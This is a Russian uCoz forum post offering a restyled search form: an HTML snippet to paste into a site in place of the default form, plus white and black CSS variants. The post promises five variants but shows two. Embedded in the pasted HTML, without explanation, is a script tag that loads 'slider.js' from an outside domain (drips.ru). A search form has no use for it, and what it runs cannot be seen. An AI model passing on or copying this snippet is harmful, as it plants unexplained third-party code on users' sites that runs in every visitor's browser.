Два цветовых вариантов формы поиска (DMsearch v.1.0) - Форум
Хостинг от uCoz
Все для CS, системы uCoz, adobe photoshop и тд...
Баннерообмен
Заказать рекламу
Реклама:



Страница 1 из 11
Форум » Скрипты для uCoz » Другие скрипты для uCoz » Два цветовых вариантов формы поиска (DMsearch v.1.0) (предлагаю вам заменить стандартную форму поиска uCoz)
Два цветовых вариантов формы поиска (DMsearch v.1.0)
BotsMan | Доп. инфо. Дата: Вторник, 21.02.2012, 21:17 | Сообщение # 1
Сообщений: 46
Репутация: 0
Награды: 0
[Гости не могут видеть сообщения, пожалуйста войдите в аккаунт или зарегестрируйтесь]

Алексей
 
СообщениеВ этой статье я предлагаю вам заменить стандартную форму поиска uCoz, на более привлекательную и правильную с точки зрения юзабилити форму поиска DMsearch v.0.1, которая версталась под DOCTYPE 1.1

Шаг 1 установка кода:

Для начало, нам следует удалить старый код формы поиска uCoz

Код
$SEARCH_FORM$


и за место него установить следующий html код:

HTML-Code

Код
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" > <script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="poick_pole"type="text" name="q" maxlength="30" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/><input class="poick_knopka" type="submit" value="Найти" /><input type="hidden" name="t" value="0" /> </form>


теперь нам осталось выбрать нужный css стиль нашей формы поиска, я решил создать пять вариантов стилизации данной формы поиска, чтобы каждый пользователь мог выбрать ту или иную форму поиска под свою цветовую гамму сайта.

Вариант № 1 White (Белый):

Скрин: [spoiler="Спойлер"][/spoiler]

Код
/* Форма поиска
------------------------------------------*/
.poick_os {    
    float:right;
}    

.poick_os input {
    vertical-align:middle;
}

.poick_pole {
    font:11px Verdana,Arial,Helvetica,sans-serif;
    color:#555; text-shadow: 1px 1px 1px #fff;
    height:16px;
    margin:0;
    padding:4px;
    background:#f6f6f6;
    border: 1px solid #d6d6d6;
    border-right: none;
}
       
.poick_pole:focus {
    background:#fff;
}    
       
.poick_knopka {
    font:11px Verdana,Arial,Helvetica,sans-serif;
    color:#555; text-shadow: 1px 1px 1px #fff;
    height:26px;
    margin:0;
    padding:0 7px;
    background:#e9e9e9;
    border:1px solid #d6d6d6;
}
       
.poick_knopka:hover{
    background:#d6d6d6;
    }


Вариант № 2 Black (Чёрный):

Скрин: [spoiler="Спойлер"][/spoiler]

Код
/* Форма поиска
------------------------------------------*/
.poick_os {    
    float:right;
}    

.poick_os input {
    vertical-align:middle;
}

.poick_pole {
    font:11px Verdana,Arial,Helvetica,sans-serif;
    color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
    height:16px;
    margin:0;
    padding:4px;
    background:#484848;
    border: 1px solid #252525;
    border-right: none;
}
       
.poick_pole:focus {
    background:#545454;
}    
       
.poick_knopka {
    font:11px Verdana,Arial,Helvetica,sans-serif;
    color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
    height:26px;
    margin:0;
    padding:0 7px;
    background:#545454;
    border:1px solid #252525;
}
       
.poick_knopka:hover {
    background:#252525;
    }


на этом всё, удачных вам поисков на вашем сайте...

Автор - BotsMan
Дата добавления - 21.02.2012 в 21:17
Форум » Скрипты для uCoz » Другие скрипты для uCoz » Два цветовых вариантов формы поиска (DMsearch v.1.0) (предлагаю вам заменить стандартную форму поиска uCoz)
Страница 1 из 11
Поиск:
Загрузка...

ForumSiteMap.xml | SiteMap.xml

Привет! Всё права защинены администратором сайта !